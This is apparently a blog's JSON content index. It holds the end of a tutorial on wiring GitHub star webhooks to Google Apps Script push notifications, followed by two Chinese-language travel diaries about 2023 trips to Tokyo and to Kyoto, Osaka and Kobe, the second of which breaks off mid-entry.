\"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}\", \"compare_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}\", \"merges_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges\", \"archive_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}\", \"downloads_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads\", \"issues_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}\", \"pulls_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}\", \"milestones_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}\", \"notifications_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}\", \"labels_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}\", \"releases_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}\", \"deployments_url\": \"https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments\", \"created_at\": \"2023-02-17T08:41:37Z\", \"updated_at\": \"2023-08-01T03:42:27Z\", \"pushed_at\": \"2023-08-01T00:07:41Z\", \"git_url\": \"git://github.com/ZhgChgLi/ZMarkupParser.git\", \"ssh_url\": \"git@github.com:ZhgChgLi/ZMarkupParser.git\", \"clone_url\": \"https://github.com/ZhgChgLi/ZMarkupParser.git\", \"svn_url\": \"https://github.com/ZhgChgLi/ZMarkupParser\", \"homepage\": \"https://zhgchg.li\", \"size\": 27449, \"stargazers_count\": 187, \"watchers_count\": 187, \"language\": \"Swift\", \"has_issues\": true, \"has_projects\": true, \"has_downloads\": true, \"has_wiki\": true, \"has_pages\": false, \"has_discussions\": false, \"forks_count\": 10, \"mirror_url\": null, \"archived\": false, \"disabled\": false, \"open_issues_count\": 2, \"license\": { \"key\": \"mit\", \"name\": \"MIT License\", \"spdx_id\": \"MIT\", \"url\": \"https://api.github.com/licenses/mit\", \"node_id\": \"MDc6TGljZW5zZTEz\" }, \"allow_forking\": true, \"is_template\": false, \"web_commit_signoff_required\": false, \"topics\": [ \"cocoapods\", \"html\", \"html-converter\", \"html-parser\", \"html-renderer\", \"ios\", \"nsattributedstring\", \"swift\", \"swift-package\", \"textfield\", \"uikit\", \"uilabel\", \"uitextview\" ], \"visibility\": \"public\", \"forks\": 10, \"open_issues\": 2, \"watchers\": 187, \"default_branch\": \"main\" }, \"organization\": { \"login\": \"ZhgChgLi\", \"id\": 83232222, \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy\", \"url\": \"https://api.github.com/orgs/ZhgChgLi\", \"repos_url\": \"https://api.github.com/orgs/ZhgChgLi/repos\", \"events_url\": \"https://api.github.com/orgs/ZhgChgLi/events\", \"hooks_url\": \"https://api.github.com/orgs/ZhgChgLi/hooks\", \"issues_url\": \"https://api.github.com/orgs/ZhgChgLi/issues\", \"members_url\": \"https://api.github.com/orgs/ZhgChgLi/members{/member}\", \"public_members_url\": \"https://api.github.com/orgs/ZhgChgLi/public_members{/member}\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/83232222?v=4\", \"description\": \"Building a Better World Together.\" }, \"sender\": { \"login\": \"zhgtest\", \"id\": 4601621, \"node_id\": \"MDQ6VXNlcjQ2MDE2MjE=\", \"avatar_url\": \"https://avatars.githubusercontent.com/u/4601621?v=4\", \"gravatar_id\": \"\", \"url\": \"https://api.github.com/users/zhgtest\", \"html_url\": \"https://github.com/zhgtest\", \"followers_url\": \"https://api.github.com/users/zhgtest/followers\", \"following_url\": \"https://api.github.com/users/zhgtest/following{/other_user}\", \"gists_url\": \"https://api.github.com/users/zhgtest/gists{/gist_id}\", \"starred_url\": \"https://api.github.com/users/zhgtest/starred{/owner}{/repo}\", \"subscriptions_url\": \"https://api.github.com/users/zhgtest/subscriptions\", \"organizations_url\": \"https://api.github.com/users/zhgtest/orgs\", \"repos_url\": \"https://api.github.com/users/zhgtest/repos\", \"events_url\": \"https://api.github.com/users/zhgtest/events{/privacy}\", \"received_events_url\": \"https://api.github.com/users/zhgtest/received_events\", \"type\": \"User\", \"site_admin\": false }}DeploymentAfter completing the program writing, click on the upper right corner “Deploy” -> “New Deployment”:Select the “Web Application” type on the left: Add description: Input any text, I entered “Release.” Who can access: Change it to “Everyone.” Click “Deploy.”For the first deployment, click on “Grant access”:Select your current Gmail account from the popped-up account selection:“Google hasn’t verified this app” will appear because the App we are developing is for personal use and does not require Google’s verification.Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:After completing the deployment, you can find the Request URL in the “Web Application” section on the result page. Click “Copy” and take note of this GAS URL.⚠️️️ By the way, please note that if there are code modifications, you need to update the deployment for the changes to take effect.⚠️To make the changes in the code effective, click on “Deploy” -> select “Manage Deployments” -> choose the “✏️” in the upper right corner -> select “Create New Version” -> click “Deploy.”This will complete the code update deployment.Github Webhook Configuration Go back to Github We can set up a webhook for Organizations (all Repos inside) or a single Repo to monitor new ⭐️ Stars.Go to Organizations / Repo -> “Settings” -> find “Webhooks” on the left -> “Add webhook”: Payload URL **: ** Enter the GAS URL and manually add our own security verification string at the end of the URL ?secret=githubWebhookSecret.For example, if your GAS URL is https://script.google.com/macros/s/XXX/exec and githubWebhookSecret is 123456, then the URL will be: https://script.google.com/macros/s/XXX/exec?secret=123456. **Content type: ** Choose application/json. Which events would you like to trigger this webhook?Choose “Let me select individual events.”⚠️️Uncheck “Pushes”.️️️️⚠️Check “Watches”. Please note that it’s not “Stars” (though Stars also monitor the state of stars clicked, if you use Stars for GAS actions, you will need to adjust accordingly.) Choose “Active”. Click “Add webhook”. Configuration completed.🚀 TestingGo back to the Organizations Repo / Repo where the settings were made, click “Star” or un-star and then re-star:You will receive a push notification!Done! 🎉🎉🎉🎉Ad Timing!Any questions or suggestions are welcome. Please feel free to contact me.Post converted from Medium by ZMediumToMarkdown." }, { "title": "遊記 2023 東京 5 日自由行", "url": "/posts/9da2c51fa4f2/", "categories": "Z, 度旅行遊記", "tags": "生活, japan, tokyto, tokyo-disneysea, traveling", "date": "2023-07-10 00:00:37 +0800", "snippet": "[遊記] 2023 東京 5 日自由行繼上個月京阪神後,2023/06 東京 5 日自由行紀錄及食住行資訊2023/05 京阪神 8 日自由行繼上一篇「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」很快地,隔了一週又再次來到日本。你說為何不待在日本直接搭新幹線從大阪到東京?原因是東京行其實才是本來預期內安排的出國旅行,京阪神之行純屬程咬金。加上懶得改機票跟改住宿和不想有一週要 W...", "content": "[遊記] 2023 東京 5 日自由行繼上個月京阪神後,2023/06 東京 5 日自由行紀錄及食住行資訊2023/05 京阪神 8 日自由行繼上一篇「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」很快地,隔了一週又再次來到日本。你說為何不待在日本直接搭新幹線從大阪到東京?原因是東京行其實才是本來預期內安排的出國旅行,京阪神之行純屬程咬金。加上懶得改機票跟改住宿和不想有一週要 Work From Japan (覺得玩就要純粹玩),所以京阪神完就先回來台灣。後面來看,還好有回來;因為回台灣的那週日本遇到超強颱風,淹水、新幹線停駛、車站塞爆;如果那週在日本想必也沒什麼地方可以去吧。(終於不是🌧️雨神了啊啊啊)東京行的組合 — 三單男我 & 當前同事 (Sean) & 前前同事 ( James Lin );其中 Sean & James 是大學同學。(沒錯,業界就是這麼小 XD) 日本入境資訊、其他資訊心得分享請參考 前一篇 。行前準備說歸說東京行才是預期出國安排內,但我們也一直只停留在嘴上説說;直到我京阪神那邊都確定的差不多了,東京這邊也才開始規劃跟實際執行。樂tripmoment對沒去過的地方,我依然是 ENFP 隨性派,覺得去哪裡都很新鮮;所以主要只負責大方向的機票跟住宿還有交通;景點就看其他旅伴想去哪或當下感覺想去哪看看才決定。樂,主要由 Sean & James Handle 了一切,我們有計劃需要先買票的是迪士尼樂園(海洋)跟橫濱鋼彈、Shibuya Sky;因此在出發前兩週就先買好票了。 以上沒有先買,到現場都是沒有空的位子可以進去的。這次我家上次剩的,帶了 $60,000 日幣,最後只剩 $5,00 上下。 因為在新宿的藥妝店遇到 Visa 刷不過只能付現金 $10,000 多買藥妝,還有最後想說把現金花光。 另外最後還差點回不來,在東京車站買往成田機場的車票時不能刷卡,東湊西湊下才湊齊車錢。行🛫因為這次只排 5 天,時間不多,因此機票優先選早去晚回;因為日期接近一樣直接上 SkyScanner 找時間好的航班了。桃園 <-> 成田 6/7 長榮 BR 184 08:00 TPE -> NRT 12:25 6/22 長榮 BR 195 20:40 NRT -> TPE 23:20來回: $17,086 這邊犯了個錯, 就是不應該一個人刷三張機票 ,要自己買自己的,因信用卡刷卡買機票會送旅遊保險。 後來還發現松山飛羽田沒貴多少還比較方便 Orz。旅遊險:Done📲一樣上 KKDAY 買 5 天吃到飽的 SIM 卡約 $500。🚈同 上篇 iPhone 一樣直接使用西瓜卡,我朋友是 Android 就只能去買 Welcome Suica 限時西瓜卡(在成田機場問,真的只剩這個)。住這次只去東京,因此就找一間能住四天不用換的;因為時間接近,東京連鎖的 東橫 Inn or APA 全都沒有空房了;只能上 Agoda 找東京地圖靠近中間又有電車地鐵站的飯店。Hotel Villa Fontaine Grand Tokyo-Shiodome — 4 晚出來就是汐留站,可以直接去台場或新宿。如果要去其他地點要走路到新橋站(大約 10 分鐘),從新橋過到東京車站大約也是再 10 分鐘 (1–2 站的距離)。還算方便並且價格合理、評價 OK,實際住下來除了乾淨舒服,房間內也不會太小。因為是三個人,格局是兩張床+沙發上鋪床墊(實際睡起來跟床一樣)3人共 NT$23,894町.草休行館 CHO Stay Capsule Hotel-全台唯一機場膠囊旅館 | 桃園機場膠囊旅館 | 桃園機場飯店 | Taoyuan Airport Hotel | 桃園空港 ホテル — Day 0 過夜這次出行比較特別的是因為是一早 8 點的飛機,我們又都從台北出發;抓 6 點到機場,凌晨 4–5 點就要出門了;加上要出去玩的緊張興奮會難以入眠,根本睡不了幾個小時。因此在出發前幾天決定前一天晚上就先去機場過夜,聽朋友說才知道原來桃園機場有膠囊旅館,就來試試了!地點:就在第二航廈南側號5樓,下樓就是第二航廈 (走下來約 5 分鐘)房間有雙人房、三人房、四人房、跟單人床位 (大概有 16 個床位一間)我們訂的時候就只剩單人床位了。1人 NT$1,500Day 0 出發基本上我就是把京阪神買的東西卸貨,把一些衣物用品拿出來,再重新整理放回行李箱就出發了。機捷預辦登機目前還不能辦理隔日航班,因此只能提著行李箱大包小包的去第二航廈。Sean & Me & James到達第二航廈後直上三樓出境大廳,到達出境大廳後找到往 22–26 南側商場觀景台的位置(面對大廳往右走到底)。走到底看到手扶梯往上走手扶梯一上來就會看到很有台灣風格的旅館門口桃機膠囊旅館Check-In 後就能先進去放行李,然後出來外面覓食。 房間內禁止飲食,我們這次入住每人送一個茶包可以請櫃檯幫忙泡,坐在門口吧台喝,現場填寫加入會員有送毛巾。門口有耳塞可以免費索取。走廊衛浴設施很新很乾淨舒服,馬桶有兩個、淋浴間有五間、有兩隻吹風機(1 隻 Dyson)、有提供沐浴乳洗髮精,只要自備毛巾盥洗用具。男衛浴一進來左手邊有行李房可以放行李,床位格局如下:床位宿舍每個床位都有獨立的鏡子、書桌、燈、窗簾、垃圾桶;我睡的是上鋪,床墊很厚不怕因為動來動去吵到下舖。床墊除了厚之外也夠長,176 CM 睡起來沒什麼問題;環境乾淨、燈光溫馨、冷氣很舒服;唯一不可抗拒的因素就是有人打呼還是會傳遞進來。(所以門口有提供免費耳塞)不過我不怕吵,只要溫馨放鬆就能睡得很好;於是我一覺到天亮,直接睡到快 6 點才洗漱 Check-out(直接睡飽睡滿,再出國)。 還好我們前一晚有預定,遇到有其他旅客想現場入住,已經沒位子了。一早起來先悠閒的看一下機場風景:本來以為早上 8 點會人擠人但運氣很好幾乎沒人 早知道就在膠囊旅館睡到 7 點再下來了!候機這次遇到的登機口要搭接駁車(大陸網友稱擺渡車)很熱很擠,但還是到登機口了:Bye 🇹🇼抵達成田機場Hey 🇯🇵Day 1 渋谷、Parco、Shibuya Sky從下機到入境大廳大概要走個 15 分鐘,再到提領行李實際出關入境大約已經下午 1 點了。 轉搭成田特快的時候一開始犯蠢,直接刷 西瓜卡進站;結果整班特快都是指定席,只能回頭出站買票再進站(後來發現好像可以直接在站內月台機器買票)。後來搭上兩點出的成田特快往東京車站。一路看風景,能看到晴空塔的時候就代表快到了。到達東京車站後再轉搭地鐵到新橋站,然後找路、走路到汐留。飯店藏身在辦公大樓內,很特別:一開始以為走錯走到人家辦公大樓,結果往裡面走就是飯店了。放行李、休息一下:Hotel Villa Fontaine Grand Tokyo Shiodome (影片是後來才補拍的,有點亂XD)前往 渋谷 (澀谷) Shibuya這個十字路口一定要來朝聖一下,想到今際之國的闖關者。Netflix — 今際の国のアリス渋谷 Parco — 極味屋排隊品嘗有名的極味屋,大約 5 點半左右到,排差不多 45 分鐘就有位子了。我點的是神戶牛漢堡肉+神戶牛排+湯飯冰淇淋的套餐組合 ($3,355 日圓):店員幫忙 Set 好時的熟度約只有 1 分,要自己夾起來放到鐵板煎到自己喜好的熟度。極味屋這邊要注意要使用兩雙筷子;因衛生,鐵的用來煎、竹的用來吃,交替使用。 神戶牛排超好吃,汁多裡嫩,沒有任何牛騷味🤩;漢堡肉也不錯,但比較膩一點。渋谷 Parco — 對自己吐槽的白熊專賣店失手買了一些。渋谷 — Shibuya Sky還好 Sean 有提早買票,現場才買根本進不去。上面很黑、有點風,不能攜帶包包上去(有提供有鎖置物櫃)。除了角落有一家酒吧之外沒有其他設施、光害,拍照跟看夜景很漂亮。酒吧應該要另外訂位,開放時間同參觀時間。回飯店後依然是清酒泡麵點心三件組,結束這一日豆皮泡麵好好吃。Day 2 橫濱鋼彈、台場、新宿第二天一早趕 10 點鋼彈表演,先搭電車到櫻木町站再轉搭纜車+走路到鋼彈工廠。橫濱鋼彈天氣超級好啊!!鋼彈表演一路從 10 點到中午,不同場次有不同劇情;但因為我不是鋼彈迷所以只是跟來走馬看花。但不得不說很壯觀,細節、動作跟聲音很精緻。裡面還有周邊專賣店,賣鋼彈模型跟獨家商品。Sean 的鋼彈完成品因為不是鋼彈迷,因此我進場逛了一下看了幾場表演就先離開了。台場改前往台場,從汐留出發到台場的電車很酷,一路上可以看到富士電視台跟整個台場的景觀。抵達台場後先來看台場的自由女神。是紐約的自由女神的1/7, 象徵日法的友好關係。再往前走一點回頭一望就是在烏龍派出所裡被阿兩破壞很多次的富士電視台再往前走一點到商場吃章魚燒跟台灣雞排?章魚燒普,太多顆很膩;雞排蠻特別的,雖然寫台灣唐揚,不過實際是日式雞排(薄、無骨)然後用台灣裹粉的炸法,跟台灣雞排還是不一樣,不過我還是跟店員說好吃、我是台灣人🤣。本來打算去台場的百貨公司買買衣服鞋子,但快到的時候撇見地鐵能到新宿;就突然拐個彎前往新宿了。新宿開始逛街走走看看去 La Lebo 聞了一下東京專屬的 GAIAC 10 號味道覺得很淡…木質調…聞不太出來。(但 Day 4 還是下手了)最後只去百貨公司買買衣服褲子跟藥妝,天氣開始陰雨就折返回飯店了。一樣用吃結束這一天熱狗好吃、水果酒好喝!Day 3 迪士尼海洋一早出發,當天早上天氣陰雨綿綿。我們買的是海洋,沒買陸地, 那個漂亮的城堡陸地才有;海洋的入口要再搭園內的電車去。 入園後開始抽抽可以抽的表演或入場,但都沒中,最後我們購買晚上的表演煙火活動「 堅信!~夢想之海~ 」的前排位子(不買也可以在外圍看,表演在港灣公共區域)。雨越來越大,於是先去路邊商店買米奇雨衣:個人覺得質感材質都蠻好的,還有可愛的米奇或米妮圖案(深紅色)可以選,而且不貴!! 幸運的是中午後就沒下啦!!我不是雨男!!買完雨衣就直衝「 玩具總動員瘋狂遊戲屋 」:人很多,大概排了 100 多分鐘才排到:遊戲內容是 2 人一組(1 人就跟人機)操作按鈕射投影氣球得分,趣味性高,刺激性低,很適合情侶或親子。旁邊還有蛋頭先生的互動劇場表演跟小的紀念品店:很可愛的抱哥玩偶!!再來是「 翱翔:夢幻奇航的圖像 」,也是熱門遊樂設施:排隊入場後在遊戲開始之前會有場景開始帶入,探險家的故事,掛在牆上的畫,其實是高解析螢幕,有動畫跟講話,效果很厲害!劇場,球型巨幕+4D 體驗(座椅會上升前進+空氣味道);內容是世界各地的風景,例如大草原就會有草原的味道;很驚艷,適合所有人! 這邊我們是買快速通關。玩完這兩個設施之後接近中午時分,開始覓食,因為餐廳都滿了就只能找小吃類的食物,我們就隨便吃了 Pizza、雞腿…等等。拿著食物出來剛好港灣表演活動「 眾彩同慶 」開始:吃飽開始在園區繞繞逛逛紀念品店:消化的差不多後開始排「 地心探險之旅 」:大約需要 90–100 分鐘,排到剛好完全消化完了,不然太刺激XD內容是復刻電影地心歷險,場景跟沈浸很厲害;最後會有加速&稍微地往下衝(失重感),刺激感較強但不會到真的腿軟,適合想找尋一點刺激的朋友。出來後又去旁邊的「 海底兩萬哩 」緩和一下:沒什麼人,內容是仿造的潛水艇下水探索的感覺(但應該是模擬),刺激性很低,只適合小小孩。坐完繼續逛逛吃吃:很可愛但很甜的米奇冰棒,還有安娜貝爾(玲娜貝爾)。繼續走走拍拍,園區真的很大,單純拍一些造景,動畫類夢幻場景都沒拍:走到底後又去搭了「 印第安納瓊斯冒險旅程:水晶骷髏頭魔宮 」:沒有地心探險之旅刺激(不會失重往下衝、也沒那麼快),內容是電影印第安納瓊斯的沈浸場景,個人覺得有趣好玩。繼續走馬看花:也搭了「 迪士尼海洋渡輪航線 」與「 迪士尼海洋電氣化鐵路 」因為走得腳很酸,沿途順便看看風景不錯;比較偏向園區內交通設施,無特別遊樂效果。時間接近傍晚時,開始大買特買跟拍照:不得不說很容易買瘋了,因為很多 40 週年限定;順便跟地球拍照。接近表演開演時間後開始走回港灣,入場席地而坐。如前述,我們有加購一般席的觀賞位子。整場表演陳進體驗感很強,包含音樂、投影(後面火山會爆炸!)、雷射、煙火、迪士尼海洋相關角色劇情…結合得很好,一定要留到晚上看完表演才值回票價。 整天的迪士尼體驗下來的心得是,所有設施都很有沈浸感,不是單純的遊樂設施,而是希望遊客能融入那個角色與場景;雖然刺激性不如環球,但我覺得趣味性很足;晚上的煙火表演一定要看! 很多可愛的周邊要控制好自己的手(剁手手)! 食物方面都亂吃,覺得從外面帶自己的食物進來應該比較好。 時間允許的話要兩天陸+海,海的沒有夢幻城堡跟陸地上的遊行QQJR 舞濱車站外面還有最後一家周邊專賣店可以買,最後又逛了一下,才依依不捨的離開。回飯店後,繼續每日慣例;今天吃醬油泡麵、哈密瓜果肉果汁(好喝!!)、秋雅的梅酒(好喝!!)、烏龍燒酒(沒什麼味道,不好喝)。Day 4 東京鐵塔、明治神宮、Le Labo、龜有烏龍派出所、淺草雷門、晴空塔一早睡飽後,才開始想今日行程(瘋狂 ENFP),大家一起的只有晚上的晴空塔;早上朋友們去秋葉原了,是個獨自探索東京的一天。東京鐵塔看了地圖,新橋離東京鐵塔不遠;就決定先去那兒了。走出門發現地鐵有事故嚴重誤點,看 Google Map 距離不遠,就改用走的了(約 20 分鐘):一人徒步在東京街頭看看風景,6 月還不會太熱,吹吹風很舒服。在路邊遇到賣熱呼呼的烤蕃薯快走到東京鐵塔時經過一個公園「Tokyo Metropolitan Shiba Park⁩」從這邊的樹枝間看鐵塔也別有一番風味:繼續走過個山腳路,就到東京鐵塔下了。進入鐵塔後買了 Top Deck 門票;除了可以上到鐵塔最頂端還包含導覽(有中文語音),並且附送一張到此一遊的紀念照片!(體驗很棒)導覽有類似昨天迪士尼會動的壁畫XD兩位前人在對話,內容那略是要蓋一棟日本有標誌性的建築物,同一位建築師另一個作品是大阪的通天閣。早上鳥瞰東京景觀也不錯,第三張遠方就是晚上要去的晴空塔。最後附上免費的登頂成功紀念照!明治神宮去完東京鐵塔,看了下地圖決定下一站去明治神宮。出地鐵又走了一大段 (約 30 分鐘)才到明治神宮內。比較特別的事是剛好遇到日本傳統婚禮,在旁參觀:最後在本殿完成參拜就離開了覺得明治神宮比較莊重嚴肅,後面去淺草寺覺得觀光客太多很雜。下一站是自己從小看到大的龜有-烏龍派出所,想去看看長怎樣;在去的路上時先去表參道的 Le Labo 再次聞聞看。LE LABO 青山店其實我對 Le Labo 興趣不大,個人比較喜歡 Ormonde Jayne 的香水,而且 Le Labo 給我一種大眾賣包裝的感覺。聞了一輪買了 Another 13,味道夠濃;還有不免俗跟風買了東京專屬的 Gaiac 10,都買 15ml 當紀念。Le Labo香水都是現場封裝跟貼標的(約需等 15–20 分鐘),可以客製化自己的標籤;13 是我自己喜歡的所以選「ZhgChgLi」、10 是代表東京,用破英文問店員哪個能代表日本,他說 ♨️ 😝。日本 Le Labo 價格如上,加上免稅最後 13 再少 $1,000 日圓。東京專屬的 Gaiac 10 比較貴,免稅後還要 $16,800 日圓。龜有烏龍派出所買完就繼續往龜有搭(龜有真的蠻遠的)。一出站正門就有烏龍派出所的人像:看地圖先跑去後站的龜有公園逛逛:就只是一般的公園QQ,很多小孩在裡面踢球就這樣,公園椅子有一個阿兩的坐姿人像,被放滿小孩的東西包包類,就沒拍了。查網路附近的 Ario 百貨公司有烏龍派出所的場景跟樂園,於事繼續走去(約 10 分鐘):進去後心態崩了,幾乎可以確定歸有已經不維護烏龍派出所這個 IP (年輕人都不看了…) ;除了車站出來的人像外,從前面的日常公園到所謂的烏龍派出所樂園,目前也只剩下佈景還在,佈景之外已經改裝成遊樂場(夾娃娃機)了。最慘的是入口的阿兩扭蛋機,阿兩人像的眼睛破掉也沒修,整個很淒涼;最後扭了一個熱褲刑警,就悻悻然地離開了。看地圖搭公車到淺草比較近,查路線&走到公車站大概花了 15 分鐘:走到公車站的路上幾乎都沒人、也沒觀光客,公車站路線 Google 連翻譯也沒;真的來到非觀光區了。上公車時還出了烏龍,因為在京都搭是下車才收費,所以上車就呆呆地站著,又聽不懂日文,直到好心的日本乘客說 pay pay 我才意會到去前面刷卡付費。一路上很安靜舒服,日本司機都會等到客人坐好、起身下車才會啟動;一路晃晃悠悠到淺草寺。觀光客真的超級超級多啊!!有夠擠,只能找角度拍了。繼續往內淺草寺走,觀光客實在太多了,本來沒打算買任何東西,就只是走來看看;途中吃到這家豆子店,意外的好吃就買了當伴手禮。到淺草寺後人還是一樣很多,拍拍照片就離開了。這時時間也接近傍晚,開始慢慢的往晴空塔移動。淺草寺遠眺晴空塔。晴空塔因為時間還早,所以一樣用走的一路看風景過去。越走越近,越來越大。走到晴空塔後,先在裡面的商場逛逛,點了杯北海道草莓冰淇淋休息一下。晴空塔我們沒買到 Top Deck,只買到中間景觀,7點入場。剛上去時還沒天黑,先隨手拍了幾張:日落後,可以鳥瞰整個東京的夜景,很美:第一張圖左上角就是遠方的東京鐵塔;裡面很暗、玻璃會反光不太好自拍人像。免強拍了一張XD離開前最後回眸一拍。最後一晚吃吃居酒屋、拍拍路上的夜景記錄:鶏の炭火焼日本今天開始天氣也不好了,沒想到每天經過的汐留就能看到東京鐵塔、還有特別的裝置藝術,最後一天才駐足欣賞。最後一晚的宵夜還是日清泡麵好吃加上超商炸雞🤤!前幾天買哈密瓜的果肉果汁,今天買草莓的,一樣好喝;清酒沒印象,這兩隻應該普普。Day 5 國會議事堂、皇居、東京車站、回程起床後去寄放行李,同 Day 4 獨自隨性看感覺探索東京,因為是晚上的飛機,還有大半天可以晃,天氣陰雨不佳。想到昨天在晴空塔扭蛋機看到日本代表地標有一個國會議事堂沒看過,就先朝這邊去。國會議事堂趣事之一是在路上遇到日本極端主義的抗議:開著宣傳車在國會議事堂附近大聲廣報,被警察攔下來後警察拆除他的廣播器;後來又加速闖紅燈逃跑,到處都警察,有點可怕。經過國會議事堂看大門緊閉就沒進去了(好像可以從側門進去參觀?):遠遠的拍一張到此一遊照,就往下往皇居走了。皇居皇居真的很大,光從最外面走道入口就大概花了快 30 分鐘。走到天守台之後就離開了,當天皇居內也沒有開放參觀。大概又走了快 1 小時回到東京車站一代(可以搭地鐵,但就一兩站;我喜歡在街頭走走看看風景)。東京車站此時也接近中午,在東京車站內亂逛;只是證明一下自己不會迷路,但很懶得排有名的伴手禮店。最後一餐吃天婦羅蕎麥麵。順手去賣酒的商鋪帶一大一小清酒回台灣,店員還是台灣人。回程約莫下午 4 點多回飯店拿行李,開始慢慢移動到成田機場。新橋離開前一隅。回程直接從新橋去成田空港因為班次問題跟時間很充裕,搭的是都營淺草線機場快線,大約 1 小時 15 分多會到; 但不能用刷卡、Sucia 買票,於是當下東拼西湊湊齊三個人的票錢,差一點買不起 。到機場時大約 5:30 還很早。出境之後時間也還很早,隨便吃個東西墊墊胃然後最後一逛免稅店。發現要買獺祭或常見伴手禮(白色戀人、香蕉蛋糕…)這裡什麼都有,在這裡買就好了XD獺祭跟我在東京車站買價格差不多。上機,Hey 🇹🇼:日本天氣狀況很不好,一路搖搖晃晃(死魚眼),比迪士尼的遊樂設施還刺激,一度停止共餐;還好最後安全抵達台灣。出境入關弄一弄大約 00:12 了,搭白牌計程車回台北差不多 01:30;洗個澡直接睡,結束這一堂旅程。後記 日本相關文化心得請參考上篇「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」 日本時間表示法是 30小時制,25:00 代表凌晨 01:00 很酷 日幣真的要留至少 1 萬上下在身上,避免遇到不能刷卡或不能刷 Vias 卡的狀況 感謝這次的旅伴, Sean INFJ/James ISTJ 規劃大神;Sean 迪士尼怎麼玩先玩哪個、哪個買快速比較值得都是他控場的回台灣後一直重複播的洗腦歌。下一站 名古屋 或挑戰先去韓國釜山坐郵輪到日本福岡更多遊記 [遊記] 2023 廣島岡山 6 日自由行 [遊記] 2023 九州 10 日自由行獨旅 [遊記] 9/11 名古屋一日快閃 [遊記] 2023 京阪神 8 日自由行有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "遊記 2023 京阪神 8 日自由行", "url": "/posts/76d66c2e34af/", "categories": "Z, 度旅行遊記", "tags": "生活, japan, kyoto, osaka, traveling", "date": "2023-07-07 20:13:20 +0800", "snippet": "[遊記] 2023 京阪神 8 日自由行2023/05 京都、大阪、神戶 8日自由行紀錄及食住行入境資訊前言之前只去過 2019 🇲🇾 Sabah 跟 2018 🇹🇭 Bangkok 兩個東南亞國家並且都是跟團。很喜歡東南亞萬里無雲的藍空和不受拘束的放縱ENFP身為一個熱情衝動、說走就走的 ENFP,此次行程從提議到出發中間只間隔了兩週;起因是友人 黃馨平 剛好有職涯 GAP,他也剛好 EN...", "content": "[遊記] 2023 京阪神 8 日自由行2023/05 京都、大阪、神戶 8日自由行紀錄及食住行入境資訊前言之前只去過 2019 🇲🇾 Sabah 跟 2018 🇹🇭 Bangkok 兩個東南亞國家並且都是跟團。很喜歡東南亞萬里無雲的藍空和不受拘束的放縱ENFP身為一個熱情衝動、說走就走的 ENFP,此次行程從提議到出發中間只間隔了兩週;起因是友人 黃馨平 剛好有職涯 GAP,他也剛好 ENFP 互補人格 INFJ;我提供熱情方向,他提供細節計畫,一搭一唱下,就臨時起意就出發了。行前準備樂因為一切都很隨性,只安排要去大阪環球,因此先從網路買門票;因為時間太靠近了,什麼都賣完了,只能買普通入場門票。 日本熱門景點、樂園真的都要提早買 Orz ,這次敗在棒球,現場連票都沒有,只能場地一日遊。其他景點、寺廟、旅程,隨性。日幣一定要換,大部分的寺廟門票、紀念品、御守跟部分電車(要買有座位的話)只能使用現金。這次我換 $50,000 日幣,最後還剩 $15,000 上下。行🛫距離出發時間不到一個月,沒什麼好挑的了,直接上 SkyScanner 找了一個符合我們兩個隨性步調的航班:桃園 <-> 關西 5/22 長榮 BR 130 13:35 TPE -> KIX 17:15 (實際延誤 1 小時多,18:40 才到日本) 5/29 長榮 BR 177 11:10 KIX -> TPE 13:05來回: $14,915好像是去年開始行李托運改成計件+計重,每人限一件 & 23kg 內;其他都要加錢。 因信用卡刷卡買機票會送旅遊保險,因此建議個人分開來買機票,並要查一下銀行信用卡的保險內容,有的簽帳卡可能沒有。另外也可以自己加保旅遊險(醫療、不便、遺失、意外…)這次保 8 天大概 $1,500。The Flight Tracker推薦安裝 The Flight Tracker App 輸入航班資訊就能實時追蹤航班資訊,包含航廈、登機門、行李櫃檯資訊。(有更改他也會通知,不過還是以現場資訊為主)飛機起飛前幾個小時還可以開啟 iOS Live Activiy 功能實時追蹤📲網路我是直接上 KKDAY 買 8 天吃到飽的 SIM 卡約 $700;也有 E-SIM 版本,但是我還是習慣抽換實體 SIM 卡,心裡比較保險。 可以把 SIM 卡(含 SIM 卡針)放隨身,飛機安全著陸後在機上就能換成日本 SIM 卡 記得換完後要去設定開漫遊,然後重開機 日本的吃到飽不一定是真的吃到飽,超過某個流量會被降速,詳細可詢問賣家;建議要傳影片或看影片還是要連 Wi-Fi🚈電車地鐵或公車都可直接使用 Sucia 西瓜卡;部分超商、購物也可以使用。iPhone 可以直接去「錢包與 Apple Pay」->「加入卡片」->「交通卡」->「日本」->「Sucia」-> 直接啟用虛擬 Sucia。 但要使用 Master Card 的信用卡進行儲值,我用 Visa 卡都儲值失敗; 建議一定要在台灣就先弄好儲值好,不然去日本發現不能儲值、也收不到簡訊驗證碼,等於直接不能用。如果不能用 iPhone Sucia 或是 Android;目前日本實體 Sucia 都缺貨,只能買 28 天 Welcome Suica 限時西瓜卡,可以儲值、使用, 但期限過後即失效、也不能退款 。Apple Watch 也有 Suica 可以用(與 iPhone 不互通),記得在台灣也先設定好、儲值好。iPhone 交通卡在感應時不用特別把 Apple Pay 畫面叫出來,只要裝置拿出來就能直接感應(會自己喚醒感應)。住主要是用 Agoda 找距離電車地鐵站近的。京都 2 晚: 東橫INN京都四條大宮東橫 INN 是東北亞通的朋友推薦的連鎖飯店體系,CP 